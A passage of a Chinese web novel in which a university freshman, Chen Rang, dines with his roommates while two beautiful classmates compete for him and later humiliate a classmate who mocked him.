巧了不是，这位女演员也姓刘，曾被多届网民评为“白老师”天命扮演者。 陈让蹙眉，正想怼过去，杨少杰又开了口。 “别，六哥，你追谁都行，别追刘雯啊，刚才开新生见面会时、我都已经加上她QQ了……” “喵喵喵？” 哥几个都满脸诧异。 陈让先表达了震惊。 “老三，你这执行力，牛逼啊……王老五自诩高富帅，都还在放嘴炮阶段，你就找好目标开始行动了？” 杨少杰：“六哥，那是因为我有自知之明啊，像米莱这种系花级别的，我怎么追得上嘛，倒不如退而求其次……” 王子聪：“老三，这方面你比六子通透。还有——什么叫自诩高富帅，六子，我本来就是高富帅！” 陈让摸着下巴：“帅不帅的，比较主观，暂且不论。富你是真富，这个我承认。高嘛——王老五，你身高多少？” 王子聪气势十足：“净身高一米八！” 陈让看向薛文彬：“老四，你多高？” 薛同学是个老实孩子：“六哥，我一米七六。” 陈总看向杨少杰：“老三，你客观评价一下，老五老四谁高。” 杨少杰想都没想：“肯定是老四高，起码高了三公分！” 陈让继续摸着下巴：“一八零的王老五，却比一米七六的薛老四矮，也就是说180＜176……王老五，你是真的牛逼，把数学大厦都干塌陷了！” 王子聪：“……” 虽然他装逼装不过陈让，但是他斗嘴也斗不赢。 此时杨少杰突然咋呼，缓了王大少的尴尬。 “卧槽，哥几个快看，有个大美女啊，比咱们班的米莱可好看多了！” 他指着蜀锦楼大门。 缓步进门的女孩子，净身高一米七二左右，放在蜀省绝对算高挑。 想来也是身高给的底气，她踩着双平底帆布鞋。 视线上移，双腿白嫩修长又不显纤细，反而有种力量感，显然经常运动。 藏青牛仔短裙包裹的臀部格外挺翘——这种臀型，哪个老阿姨见了也得赞一句“好生养”。 上身是件大一码的女士体恤，却被她恐怖如斯的“E级能力果实”完美撑了起来——以至于有些紧身效果。 身材好就罢，脸蛋也漂亮。 嘴唇红润，鼻梁高-挺，眉宇间七分姿媚，三分英气，脸型像黎姿，气质却像林青霞，男女相的完美融合，又美又飒的王道美女。 来者正是赵兰蕤。 赵兰蕤的五官，没有夏灵珊那么精致，但是她身材更好。 客观评价，两人乃是一个档次的大美女，都可以在陈总的评分系统里拿到九十五分。 杨少杰和薛文彬都挪不开眼。 王子聪刚开始眼神也是勾勾的，看清楚赵兰蕤具体模样后，表情却变得颇为古怪。 又几秒钟，杨少杰和薛文，都红着脸低下头。 因为哥俩发现，这位元气满满的大美女，不仅看向他们这桌，还迈动步子过来了。 十八-九岁的男生，甭管在哥们儿面前吹得多牛逼，真见到漂亮姑娘，十之七八都会面红耳赤。 譬如此刻的杨少杰和薛文彬。 俩货大抵都是戏精。 杨少杰撇过脑袋假装看风景——可他看的分明是堵墙。 薛文彬端起空茶杯，嘬着里面并不存在的茶水。 王大少最古怪——表情已经从拧巴变成了便秘。 陈让跟赵兰蕤摆手：“这里！” 赵大美女笑盈盈的回应，娉婷而来后，很自然的坐到了陈让身边。 杨少杰跟薛文彬彻底傻眼。 刚还在嘲讽陈让眼高手低——居然说米莱颜值入不了他的眼。 结果这家伙转头就约了这么大个美人儿。 无论颜值、身材还是气质，赵兰蕤都爆了米莱，别说系花，这姑娘当校花都有资格的！ 值得一提——此时王大少依旧满脸便秘。 “你们好，我叫赵兰蕤，陈让的朋友，你们仨都是陈让的室友吧？” 赵兰蕤的性格跟林静姝是两个极端。 落座后，都不用陈让介绍，她便落落大方的、跟其他三人打了招呼。 陈让很欠揍的样子：“什么室友啊，这三个都我狗儿子。哎——当年肯定是护士报错了，三个犬子，居然没一个像我！” 赵兰蕤嗔了某人一眼：“你好坏！” 嗔完却又开始笑。 哪个女孩子不喜欢幽默的男生？ 赵大美女这么一笑，晕开了万种风情。 杨少杰跟薛文彬，红温更加严重。 两人先后结巴着自我介绍。 王子聪——这家伙的表情，变得比便秘更加复杂。 震惊中带着苦涩，却又夹杂一抹期待。 “那个……赵同学，我叫王子聪……话说……你对我有没有印象？” 赵兰蕤表情十分疑惑：“王同学，我们不是第一次见面吗？” “咳……” 王子聪眼中那抹期待，迅速变成落寞。 陈让不明就里，还以为王大少在开发一种很尬的撩妹套路。 “王老五，你有毒吧，在学贾宝玉、‘这个妹妹我见过’？” 王子聪罕见没有跟陈让互怼，而是低头沉默饮茶。 察觉到氛围有些莫名古怪，赵兰蕤毫无烟火气的转移话题。 “陈让，你们室友聚餐，我贸然过来，有没有打扰到你们吖？” “喂，问你们哥仨呢，有没有被打扰到啊？” “没——” “咳，那怎么可能……” 杨少杰和薛文彬，赶紧摇头。 王子聪还是没说话。 杨少杰碰了碰陈让：“六哥，牛的啊，搁哪儿约了这么位大美人儿？” 薛文彬也满脸好奇。 王子聪也暗搓搓竖起耳朵。 陈让还没答话，赵兰蕤就先开了口。 “不是陈让约的我，是我约的陈让，我跟你们讲，我从报名第一天就开始约他吃饭了，结果每次都被拒绝……直到今天，陈让同学才肯赏光。” 杨少杰和薛文彬：“……” 所以咱们这是在拍科幻片？ 这么大个大美女，主动约陈让吃饭就罢了，他还拒绝了好多次？ 难道那天这家伙吹得逼是真的——报名那天，真有三个女生约他吃饭？ 那么除了赵兰蕤、另外两个是谁？ 总不会也都是这种级别的大美人儿吧！ 要真如此，“毋宁死乎”！ 察觉到赵兰蕤话语中有一丢丢怨念，陈总秀了波情商。 “赵同学，我可不是在装高冷啊，前面几次没答应你，其实都怪你……过分！” “怪我、过分？” “怪你……过分的美丽，让我鼓不起勇气。” “鹅鹅鹅，陈让，你也太会了吧——居然还押了韵。” 赵兰蕤笑得花枝招展。 杨少杰和薛文彬再次傻眼。 蜘蛛侠骑个马——陈六子这么会的？ 哥俩心里开始泛酸水。 能考得上蜀大经济学院，他们高中时在自己学校，不说天之骄子也是一方学霸。 十八-九岁又是人一生中最为心高气傲的年龄段。 并不觉得自己会真的输给谁。 没见哥几个谈理想时，个个心里都装着星辰大海？ 到了大学，才入学第三天，就被陈让各个层面的降维打击。 可想而知，哥俩心里参差感有多强了。 “老五，怎么啦，一句话也不说，这可不像你啊……” 此时杨少杰终于察觉到了王子聪的异常。 就很搞不懂。 讲道理，他跟薛文彬自闭也就罢了，你王老五一个超级富二代自闭啥？ 任王大少憋了半天，憋出了这么一句话。 “老三，别跟我说话，我想静静。” 相信许多聪明的同学已经猜出来了——王子聪认识赵兰蕤。 两人小时候是邻居，后来赵兰蕤搬走了，等他再次见到赵兰蕤已是高中。 那时赵兰蕤已经格外闪耀，是他所在高中公认的校花。 也是包括他在内、许多少年心中的白月光和意难平。 几天前他编的那个故事，其他都是假的，“周芷若”却是真的。 故事里他是张无忌。 现实中他甚至不是宋青书，而是不具名的喽啰——毕竟“周芷若”根本不知道江湖上有他这么个人。 王大少突然就很惆怅。 没有想起那天在夕阳下的奔跑，但他觉得自己的青春，正被陈六子残忍的蹂-躏和践踏。 王子聪说出那句“我想静静”后，陈让倒也没有玩烂梗，问他“静静是谁”。 此时他也察觉到王子聪这家伙有状况了，就是猜不到个中缘由。 讲道理，赵兰蕤都明确表示自己对王子聪毫无印象了，陈总便是诸葛再世，也不可能想得到、赵大美女是这货的白月光。 更想不到、装得人五人六、拽得二五八万的王大少，高中阶段却是个小透明。 这事儿看起来不符合逻辑，其中里面是有底层逻辑的。 要怪就怪王大少他爸。 先前生怕儿子知道家里特有钱后就不思进取，不努力考大学，一直藏着掖着，假装自己只是个小老板，表面光鲜，其实负债累累。 王大少还真就信了。 以至于初高中阶段都有些小自卑。 又哪里敢跟赵兰蕤这样的大校花表白？ 这也是王子聪现在如此浮夸的根本原因——知道自己家里超有钱后，从一个极端滑向另一个极端了。 王子聪的人生经历，跟名字只跟他差一个字的“小王”其实挺像。 “小王”读书那阵儿，也根本不知道他家有钱，以至于当了“舔狗”。 接下来就是闲聊。 王大少还在自闭，缅怀自己正在被某人蹂-躏和践踏的青春，基本不搭腔。 杨少杰和薛文彬——在赵兰蕤面前，俩货也基本丧失了语言功能。 话题自然由陈总来主导。 聊天的过程，赵兰蕤基本都能接住陈让抛出来的梗——哪怕是烂梗，这姑娘都能笑得“鹅鹅鹅”的。 陈总有些der了。 心想这个大妹子、未必对自己有什么了不得的滤镜？ 可是回想一下两人认识的过程，既不跌宕起伏、也无荡气回肠啊。 “应该不至于……她可能笑点比较低。” 聊了一会儿天后，赵兰蕤脸颊微红，有些不好意思的跟陈让说，她要去上个洗手间。 等赵兰蕤起身离开后，杨少杰和薛文彬立马咋呼起来。 “六哥，牛的啊！” “六哥，开课吧！” 第72章 修罗场变宫斗剧 第七十二章 修罗场变宫斗剧 “六哥，快开课吧！老奶奶我薛文彬都不扶了，现在就服你！” “对啊，六哥，王老五只知道装尬逼，你才是真的牛逼，你讲课，我杨少杰实名制跪着听！” 陈让莫名其妙：“开什么课？” 杨少杰瘪嘴：“六哥，你就揣着明白装糊涂吧，当然是讲怎么撩妹，瞎子都看得出来，赵大美女对你有意思啊！” 陈让摆手：“别扯犊子，我跟赵兰蕤……今天才第三次见面。” 薛文彬接茬儿：“六哥，才第三次见面，就能让一位校花级大美人对你上头，那你更应该讲课了啊！” “这个——” 陈让沉吟后，选择小装一下。 “不是我不教你们，而是没法教……我真不会撩妹，也从来没撩过妹……都是妹子撩我的。” 杨少杰：“……” 薛文彬：“……” 表示有被某人装到。 此时沉默许久的王子聪终于说话了。 “六子，跟五哥交个底，你对赵兰蕤有想法没？” 陈让摇头：“没有，绝对没有——王老五，不早告诉你了么，我这人阈值比较高。” 王大少当然不信：“屁——你未必还认识比赵兰蕤更漂亮的女孩？我跟你说实话吧，其实我跟赵兰蕤是一个高中的，只不过我认识她、她不知道我。从高一开始，她就是我们学校公认的校花，我就不信蜀大还有比她更漂亮的妹子！” 陈让瘪瘪嘴，心想那是你丫见识浅。 别说林静姝这种论外选手，单论颜值，夏灵珊都要略胜赵兰蕤。 赵兰蕤在陈总的打分系统中、能跟夏灵珊打成平手，靠的是身材加持。 当然这些陈总肯定不会拿出来讲的。 此时杨少杰却又指着门口咋呼。 “老五，你要被打脸了啊，快看正在进门那个妹子，感觉她比赵同学都要更漂亮一点。” “老三，你他妈什么时候瞎的？” 王子聪肯定不信，却还是看了过去。 这一看，很快呆愣。 蜀锦楼大门处，一前一后、进来一男一女。 男的又高又壮又黑，按理说是个“威猛先生”，但是他留着锅盖头，脸上时刻带着傻笑，这还如何威猛呢，怎么看都是个“铁憨憨”。 女孩儿真的很漂亮。 一米六八的净身高，身段极好极好。 清冷瓜子脸上，妆容十分精致，凤眼琼鼻樱-桃嘴，整体走的清纯风，却也带点小妩媚，眼波流转间，总能不经意的、露出一抹惹人遐思的妩媚。 “卧槽——” 纵然王大少对赵兰蕤带着白月光滤镜，却也不得不承认，单论五官，眼前这个姑娘，的确略胜赵兰蕤。 陈让表情也很诧异。 男的是黄博文。 陈总看到大黄哥肯定不会诧异。 黄博文早说过要来蜀大找他。 他也早就把蜀锦楼的位置发给了大黄哥。 让他诧异的、是跟在黄博文身后的明丽少女——夏灵珊。 懵逼一会儿，陈总想通透了。 是说大黄怎么突然要来找他，想来“始作俑者”是夏灵珊。 应该是夏灵珊联系了黄博文，约他一起来蜀大望江校区找自己的。 为什么陈总这么笃定——这几天夏灵珊没少换着号码给他发信息，说要坐校车过来找他。 陈让肯定都拒绝了，而且见一个号码就拉黑一个。 至于夏灵珊为什么有这么多号码——这年头手机号还没实名制，二三十块就能买张卡。 陈总本以为自己这么决绝，夏灵珊肯定会放弃来找他，却还是低估了夏同学的执拗。 竟是说服了黄博文，配合她玩了这出“曲线救国”。 都是校花级美女，夏灵珊的美貌，要比赵兰蕤更有杀伤力。 六零六其他哥仨，都被狠狠惊艳。 杨少杰咕哝：“所以……今天是什么黄道吉日吗，出来蹭个饭，居然能碰到两位校花级大美女？什么米莱饭莱，淡了，真的淡了，都不配给这俩大美女提鞋！” 薛文彬接茬儿：“赵美女就算了，那是六哥的菜，老五，你不是高富帅么，这位瓜子脸大美女，敢不敢去撩一下？” 王子聪瘪嘴：“叼雷老母，薛老四，你个扑街仔为啥不去？要不六子你再展现一下自己所谓的魅力吧，刚不是吹逼说从来不撩妹，都妹子撩你么。要这位大美女也来撩你，你五哥当场把这张饭桌啃咯！” 陈让没搭理疯狂立flag的王大少，甚至觉得这家伙在故意骗吃骗喝。 王子聪倒想继续怼陈让几句，却发现杨少杰和薛文彬、表情都变得十分古怪。 很快他表情也变了——瓜子脸大美人儿进门后、竟也跟先前的赵兰蕤一般朝着他们走来，且目光始终落在陈让身上。 “难道说……” “不会吧？” 哥仨都有了非常不好的预感。 夏灵珊到了陈让面前，眼中满是幽怨： “小陈，你什么表情？我顶着这么大太阳过来找你，就不指望你感动了，就不能稍微给我个好脸？” 哥仨直接石化。 不能吧—— 不会吧—— 这位大美人儿，也是来找陈让的？！ 听她的语气，幽怨中又带着卑微，分明也是更主动那一方。 “我这人从来不撩妹，都是妹子撩我。” 此时再咀嚼陈让这番话——那是何等的含金量！ 何止妹子主动撩他，撩他的妹子，甚至都校花级别！ “小陈，你不说话是什么意思，那我走？” 夏灵珊继续开口，气鼓鼓的样子。 “咳——”陈让按了按眉心，“夏同学，那倒也不至于，来都来了，午饭吃了再说吧。” 夏灵珊说要来找他，他可以各种理由推脱。 但她人已经在这里了，肯定不能把她赶走。 陈夏两家都算世交了。 正如李女士谆谆教诲某人的。 “儿子，你要把事情做的太拧巴，以后你妈跟你倩姨、又该如何相处？” 示意夏灵珊自己找地方坐以后，陈让瞪了黄博文一眼。 大黄哥摸着后脑勺：“小陈……” 陈让先怼他：“狗大黄，上了大学是不一样啊，几天不见翅膀就硬了，为父都敢骗！” 黄博文低头：“小陈，对不起……” 陈让翻白眼：“行了，知道你大黄哥心软，夏同学肯定跟你装可怜了吧……” 摆摆手后，他示意黄博文也自己找地方坐。 哥俩打娘胎建立起来的感情，也不可能因为这点事情就闹别扭。 但是事后陈让肯定会很严肃的警告大黄哥——下不为例。 夏灵珊咬咬唇后，坐到了陈让右手边——这个位置恰是先前赵兰蕤做的。 此时服务员已经开始上菜。 陈让捉起筷子，正准备招呼着大家开吃，突然觉得哪里不对。 似乎、大概、可能……少了个人？ 抬眼望去—— 赵兰蕤恰从洗手间出来。 她怔怔看着坐陈让右手边的夏灵珊。 讲道理——这个位置是她刚才坐的！ 至于夏灵珊突然出现，赵同学倒不算太意外。 那天在火车北站她就看出来了，这位瓜子脸大美人、跟陈让有很深的纠葛。 观察是相互的。 夏灵珊看到赵兰蕤后，脸色瞬间如霜。 两位大美人隔空对视，没有违反物理学的擦出什么火花，但是迟钝如黄博文这种“铁憨憨”，也觉得情况没对了。 大黄哥首先表示很服气。 小陈就是小陈，有了林大校花跟灵珊还不满足，这才上大学几天啊，就跟火车站这位长得像黎姿的大美女勾搭上了…… 然后感到很担忧。 夏灵珊跟赵兰蕤的碰面，显然出乎小陈的预料，而是他不小心引发的。 “妈耶，修罗场？！” 六零六哥几个，当然也看得出来，赵兰蕤跟夏灵珊都对陈让有意思。 哥仨也不知道该羡慕陈六子、还是该同情他。 看陈让表情，这两位碰上面，显然出乎预料。 那他又该如何处理？ 陈让看着哥几个的微表情，暗自吐槽。 “都尼玛戏精。” 他跟夏灵珊关系是有些复杂，但肯定不是恋人。 跟赵兰蕤那就真是普通朋友。 怎么哥几个看他、跟看渣男似的？ 无论前世还是今生，陈总都可以俯仰无愧的说一句——老子绝对没乱搞过男女关系。 “赵同学，坐这里吧。” 陈让指了指自己左手边的空位。 原本赵兰蕤坐在他右手边，却被夏灵珊给占了。 考虑到这位大小姐的脾气，陈总没脑抽到让她把位置让出来。 还好他左手边也没人坐。 他相信赵兰蕤是可以理解的。 虽然接触不深，但他看得出来、赵兰蕤很懂得照顾他人感受。 “嗯。” 赵兰蕤笑了笑，依言坐到了陈让左边。 “喵喵喵？” 哥几个傻了眼。 左右都坐个如花似玉的大美人儿，陈六子未必然还想左拥右抱开后宫？ 不对，不对，剧本不对。 正确剧情，不应该是两个大美女，一人甩陈六子一记大逼兜，骂他一句死渣男，然后扬长而去？ 哥几个都准备好幸灾乐祸了的！ 讲道理嘛，我们想看的是“修罗场”，而不是“宫斗剧”啊！ 第73章 老大老-二打架、老三被打死了 第七十三章 老大老-二打架、老三被打死了 金融一班十来个女生，正在蜀锦楼外的商业街购物。 其中就包括金融一班的班花米莱，以及杨少杰正在勾搭的刘雯。 观察是相互的。 六零六哥几个、透过玻璃窗观察班上众女生时，她们也在暗戳戳观察六零六哥几个。 进了旁边超市后，女生们开始讨论。 刘雯率先开口。 她碰了碰米莱的胳膊。 “小米，刚才六零六那几个大马猴都在看你！” “新生见面会”时，六零六仨棒槌表现过于矫揉，以至于在女生群体中喜提“大马猴”称号——连带着陈总也遭了殃。 米莱点头：“我早发现了。” 刘雯表情揶揄：“小米，你就这么淡定啊，难道咱们班的男生，就没有能入你眼的？我看那个叫陈让的就不错啊，个子高，身材好，皮肤也白。” “陈让？”米莱边嗤笑边摇头，“我对这个家伙，还有那个叫王子聪的所谓富二代，可没有任何好感。上午‘新生见面会’时你没听到啊，这俩货居然拿着个手机在那儿炫耀，幼稚的惹人发笑。” “是挺幼稚。” 刘雯先是附和，然后表情变得玩味。 “小米——其实陈让对你有意思哦。” 米莱面露疑惑。 其他女生，也都颇为好奇。 刘雯巴拉巴拉解释起来—— 新生见面会时，杨少杰不是加了她QQ么。 然后两人一直在聊天。 陈让对米莱有意思，就是杨少杰跟刘雯透露的。 有一句说一句——这事儿压根就是六零六哥几个自己的脑补。 杨少杰却当成谈资、煞有其事跟刘雯讲了。 有的男生就是这样。 坏吧，他也不坏。 就是老喜欢跟女生编排自己的室友——哪怕是牵强附会。 听刘雯雯巴拉完，米莱立马扬起尖削下巴，伴随满脸的不屑。 “陈让——他也敢追我？” 小米同学家境优渥，长得漂亮还会打扮。 这种类型的女生，通常傲娇又爱面子。 听到陈让想追她，立马摆出高姿态。 她觉得这样，可以在班上女生群体中、树立起自己高不可攀的形象。 刘雯立马附和：“就是，我们小米这么漂亮，陈让这种货色、怎么可能追的到？” 有的女生就是这样。 自己不够漂亮，所以进入新圈子后，会选择依附和讨好最好看的那一个。 有刘雯这个捧哏，小米同学表情变得愈发嘚瑟。 她正想继续蛐蛐陈让几句，以进一步抬高自己时，刘雯突然咋呼。 “小米，快看，收银台那个男生，不就是陈让么？” 米莱循声望去，果然在超市收银台看到了陈让，正在打电话。 实事求是，班上三十来个男生，陈让绝对算是出挑的。 颜值不错，个子也高，身材挺好，举手抬足间，还有种同龄男生绝对没有的松弛感。 陈让打算追求自己，小米同学还是挺有满足感的。 但是为了凹自己高不可攀的人设，她肯定不会表现出来。 刘雯满脸揶揄：“小米，不去跟你的追求者打个招呼？” 米莱想了想后，再次扬起尖削下巴：“去就去，正好跟他说清楚，癞蛤蟆就要有癞蛤蟆的觉悟，别对本小姐有任何不切实际的想法！” 说完满脸高冷，径直走向陈让。 …… 那么本来在蜀锦楼吃饭的陈总，为什么会出现在隔壁超市吧台？ 这事儿还得从十分钟前说起。 见陈让招呼赵兰蕤坐在自己左手边，且这两人貌似还挺亲昵，夏灵珊打翻了醋坛子。 “小陈，我不是没让你加这位赵同学的QQ么，你怎么还是跟她勾搭上了，还是说她臭不要脸，主动勾引你的？” 陈让正在刨饭，差点没喷出来。 他曾以为，在玩尬这条赛道，李文韬这货没有对手。 现在看来，夏灵珊也不遑多让。 就刚才夏同学这几句词儿—— 知道的，这是同学聚餐。 不知道的，还以为在拍《甄嬛传》。 陈总努力把饭咽下去后，正准备怼夏灵珊一句“狗拿耗子管得宽”，赵兰蕤却先开了口。 “你叫夏灵珊对吧，我有个问题，你是陈让的女朋友吗？” “……” 夏同学很想回一句“是”，但是没那个底气。 赵兰蕤接着开口：“很明显，你并不是陈让的女朋友，那我跟陈让如何，跟你又有什么关系？夏灵珊，你有没有觉得，你对陈让的占有欲，非常的……莫名其妙？” “你……” 夏灵珊跟赵兰蕤对视一阵后，却是败下阵来。 她跟赵兰蕤颜值相当，气场仿佛，但她明显不占理。 “骚狐狸，我懒得跟你讲。” 她看向陈让。 “小陈，你不是给我递过情书，说会喜欢我一辈子的么！” 夏灵珊眼中带着水雾，神色间甚至带上了一抹乞求。 考虑到她天性傲娇——这抹乞求，绝对是她能拿出来的最低姿态。 看着楚楚可怜的夏灵珊，陈让选择了翻白眼。 “你还好意思说这封情书啊，明明是你让我写给你的，结果你转手就交给了老师……” “夏同学，我们讲道理，喜欢看耍猴、明明可以去动物园的，你却选择了拿我当猴耍！” 夏灵珊明显心虚。 眼神闪躲一阵后，她再次鼓起勇气。 “小陈，我错了还不行么，那你现在重新跟我表白，我接受就是了！” 陈让没有说话。 他指了指蜀锦楼大门。 “小陈，你什么意思？” “夏同学，你要不想吃饭，进校门右拐走一百米，就有回江安小区的校车。慢走，不送，您呐。” “……” 要换以前的夏灵珊，肯定抓起包包就走。 但是看着坐陈让左手边的赵兰蕤，夏同学忍了——不能成全这头“骚狐狸”。 “哼，我才不走，来都来了，不得狠宰你一顿？” 夏灵珊自己给了自己一个台阶，噘起红润润的嘴巴。 “小陈，我渴了，要喝酸奶！” 陈总不想再让室友们免费看“宫斗戏”——夏灵珊尬不尬他不知道，反正他很尬。 于是按捺住了继续怼夏灵珊的冲动，“没长腿还是没长嘴，想喝酸奶不知道自己去买”。 问了问服务员，得知蜀锦楼不卖酸奶后，他起身去隔壁超市。 走没几步，赵兰蕤叫住他，“陈让，我也要喝”。 陈总回头，跟她比了个OK的手势。 他出门后，两大美女拉开阵仗，继续互怼。 “赵兰蕤，你有毒吧，我想喝酸奶，你也想喝？” “夏灵珊，你才有毒，你能喝，我为什么不能喝？” “骚狐狸，别以为我看不出来，你就是想追小陈！省省吧，小陈从初中就喜欢我了，你凭什么跟我争？” “哇，夏大美女，你好有魅力哦，居然能让陈让喜欢你六年……那么问题出来了，为什么你现在不是陈让的女朋友？他现在很嫌弃你、话都不想跟你说一句，你不会看不出来吧？” “……” 夏灵珊很快给赵兰蕤怼自闭了，气得挺翘胸脯上下起伏。 还是那句话——两人气场相当，但是夏灵珊不占理啊。 这个过程——六零六哥几个都看傻了。 眼前因为陈让在争风吃醋的，可是两位校花级大美女！ 哥几个心里五味杂陈、参差感拉满。 挨千刀的陈六子，他人都没在这儿了，却还能滋他们一脸。 过分有木有！ 此时黄博文接到了陈让的电话。 “大黄，来隔壁超市收银台，我没带钱……” 大黄哥现在用的手机，跟杨少杰同款，也就是“天语”。 “天语”这名字是真没取错，这个品牌的手机，喇叭不是一般响，不开免提像开免提，开了免提那就是插音箱。 陈让的话大家都听到了。 黄博文还没起身，赵兰蕤就抓起钱包。 “我去吧。” 说完就走。 夏灵珊咬咬唇后，却也跟上。 她才不会让这头骚狐狸跟小陈独处！ 所以当赵兰蕤和夏灵珊——两位校花级大美女——前后进了隔壁超市，看到的这样一幕。 米莱为首，金融一班十来个女生，正满脸颐指气使的蛐蛐陈总，叫他有点自知之明，别癞蛤蟆想吃天鹅肉，妄想着能够追到米莱。 赵兰蕤和夏灵珊对视一眼，不符合逻辑、但是符合情理的达成了统一战线。 她们俩校花级大美女争陈让，还算棋逢对手。 眼前这个叫米什么的婆娘，她算哪根蒜苗？ 居然在颐指气使的教训小陈，说什么癞蛤蟆别想吃天鹅肉…… 俩字，欠怼？ 将要发生的一幕，像极了一个段子。 “老大和老-二打架，给老三打死了。” …… 把视角拉回陈总这边—— 他拿着两盒酸奶，正杵在吧台，等黄博文给他送钱。 肯定是后世一部手机走天下的舒坦日子过习惯了，陈让现在出门也经常忘带现金。 然后就看到米莱为首，自己班上十来个女生，正朝自己走来。 陈总倒也没多想，出于基本的礼貌，他抬手跟班上女生们打了个招呼。 “米莱同学，你们好呀，来买生活用品的？” 陈总为什么只称呼了米莱——他只认的米莱。 但是换成班上女生的视角——陈让只叫了米莱，那肯定是想追米莱啊。 石锤了，没得跑！ “陈让，我们来超市干嘛，关你什么事儿？” 说话的是刘雯。 她怼了陈总一句后，颐指气使的问：“喂，陈让，听你们寝室的杨少杰说，你想追米莱？” 陈总：“喵喵喵？” 第74章 老司机、带带我！ 第七十四章 老司机、带带我！ “陈让，你是不是喜欢米莱？” “喵喵喵？” 诧异之下，陈总瞄了米莱一眼。 这婆娘立马扬起下巴，摆出一副颐指气使的姿态。 那架势、仿佛等着他过去跪舔。 陈总挺der。 讲道理，别说把林静姝这个“论外选手”拎出来了，便是夏灵珊和赵兰蕤、也不是这婆娘能比的。 杨老三这货，大抵也是有毒。 “我喜欢米莱”，这不是你们哥仨自己脑补和瞎掰的？ 老子明明一直在否认！ “陈让，你想追米莱，可是你们寝室的杨少杰告诉我的，那还能有假？” 刘雯继续开口，咄咄逼人的样子。 “明明喜欢米莱喜欢的不行，当着真人，却又不敢承认了，你可真够怂的！” 陈让越听越窝火：“刘雯，杨少杰怎么跟你说的、那是他的事，我现在很明确的告诉你，我没想追米莱！” “切，口是心非——”刘雯满脸的鄙夷，“陈让，要不你现在就给米莱表个白吧，说不定她就答应了？” 陈让还没说话，米莱开口了。 “免了——陈让同学，我过来呢，就是跟你说清楚，请你收起不该有的念想，然后好好去照一照镜子，别癞蛤蟆想吃天鹅肉！” 这番话一出来，班上女生顿时哄笑一团，七嘴八舌跟着嘲讽。 “米莱，说的太对了，陈让想追你，绝对是癞蛤蟆想吃天鹅肉！” “陈让你也太没有自知之明了，米莱多漂亮，别说班花，院花、甚至校花都有资格的！” “不自量力——” 骤然进入一个新环境，男生们喜欢“拉帮”，女生们其实也“结派”。 这几个跟着哔哔陈总的女生，显然都以米莱为中心。 陈让自诩算是情绪稳定的，此刻也是无名火起。 此时门口一直看着的赵兰蕤和夏灵珊，并肩走了过来。 米莱为首，金融一班众女生看着这两个风情各异的大美人儿，都被压得有些喘不过气——大美人那可都是自带气场的，别说还是两个。 才刚进校几天，米莱就被班上男生评为班花——小米同学肯定对自己的颜值非常自信。 但是跟眼前两个大美女比，又真比不了一点儿。 九十五分和八十五分——这是两个档次的差距。 “你们带钱了吧？” 陈让看向赵兰蕤和夏灵珊。 赵兰蕤快了一步。 夏灵珊还在掏钱包时，她就递了一百块给陈让。 陈总接过钱，跟老板买单后便要离去。 堂堂“未来大帝”，未必还要狠狠打一打米莱为首、班上众女生的脸，才能“道心通明”？ 不至于，陈总有格局。 赵兰蕤和夏灵珊却都没走。 赵大美女先开口：“米莱同学，我很欣赏你的自信，但你似乎也只剩下自信。首先，陈让不是什么癞蛤蟆，其次，你大概也不是什么天鹅。” 几秒钟前都还满脸趾高气昂的米莱，瞬间成了被霜打过的茄子。 尴尬，羞恼，气愤，自卑…… 诸多情绪杂糅，恨不得找个地缝钻。 “米莱同学，我觉得陈让挺帅的，并不需要照镜子，倒是你，才应该多照照镜子。我要长得跟你一样丑……说实话，我都不敢出门。” 夏灵珊接着开口。 她刚才怼不过赵兰蕤，并不是功力不行，而是理亏。 “你——” 米莱瞪向夏灵珊——夏同学怼她的话、可比赵兰蕤狠多了——却又很快败下阵来。 单论五官，夏灵珊比赵兰蕤都要漂亮一档，凤眼琼鼻樱-桃嘴，五官哪处都精致的不行。 再加上老夏毫无底线的宠溺，养出来的骄横气质——两三秒的对视，米莱就有种错觉、对方是大小姐，她是小丫鬟。 米莱再无任何勇气，转身夺路而逃。 刘雯等女生傻站原地。 夏灵珊凤眼一瞪。 “你们都小陈班上的女生吧，怎么的，你们也觉得小陈是癞蛤蟆？” 米莱都扛不住夏大小姐的气场，遑论刘雯等“一般货色”。 陆陆续续——逃也似离开。 陈总全程目睹，心想老子受过专业训练的，再好笑都不会笑，然后就露出了两排大白牙——笑得不知道有多开心。 他觉得刚才那一幕，怕是会给米莱留下一辈子的阴影。 无论赵兰蕤还是夏灵珊，都能对米莱形成“降维打击”，所以她刚才挨了两张“二向箔”。 啧啧啧，如此看来，她比太阳系都牛逼啊！ 小米同学出了超市后，脑袋还是嗡嗡的，仿佛盘桓着哲学三问。 “我是谁？” “我在哪儿？” “我在干什么？” 刘雯追上了她。 “小米，等等，你听我解释啊——” 米莱回头，怒意沸腾。 “别跟我说话！” 她刚才把这辈子的脸都丢在超市了，究其原因，还不是刘雯提供了假情报，一口咬定陈让喜欢她？ 要没有这个铺垫，她也不可能去滋陈让，然后被两个校花级大美人扔“二向箔”啊。 “我……” 刘雯眼神怯弱。 完全没想到事情会发展成这样，忙不迭跟米莱道歉。 米莱却不理她，撇下她就走，瞧这架势，也不知要恨她多久。 刘雯原地怔怔，却也委屈的眼泪打转。 陈让想追米莱，明明是杨少杰言之凿凿跟她说的！ 想到这里，她直接判了杨少杰的“死刑”！ …… 或许刚才一起怼了米莱吧，返回蜀锦楼继续吃饭后，夏灵珊跟赵兰蕤，倒也没有那么争锋相对了。 当然——指望这俩姑娘当真产生什么“革命友谊”、那是痴人说梦。 赵兰蕤爱憎分明、大大方方。 她根本不掩饰自己对陈让的好感。 也有足够的自信、丝毫不怵夏灵珊。 反倒夏大小姐、有些落於下风。 接下来的饭局—— 赵兰蕤时不时给陈让夹菜，看出来陈让喜欢吃虾后，她还接连给剥了好几个。 六零六哥仨、加上黄博文，四人看着都颇为震惊。 零九年这个时间节点，女拳什么的还在萌芽阶段，但是女性地位已经很高了，尤其蜀省。 赵兰蕤这么大个美人，居然又给陈让夹菜、又给剥虾？ 这是什么科幻片啊！ 参差感最强的，肯定是王大少。 道心都快崩坏了——六子的日常，他的梦想。 赵同学并不觉得自己给陈让夹菜和剥虾有什么。 她就是这样的姑娘——喜欢一个人呢，就要对他好，做一个“贤妻良母”，照顾他的方方面面。 夏灵珊看着这一幕，哑巴吃黄连，有苦说不出。 曾经的陈让，心里只有她，整天围着她转，甚至都不会跟其他女孩子说话。 以至于她都忽略了，陈让本质上是个非常有魅力的男孩。 长得不差，身材挺好，幽默风趣，有些文艺范儿——现在还非常有钱！ 诸多维度叠加，他都算男神了吧。 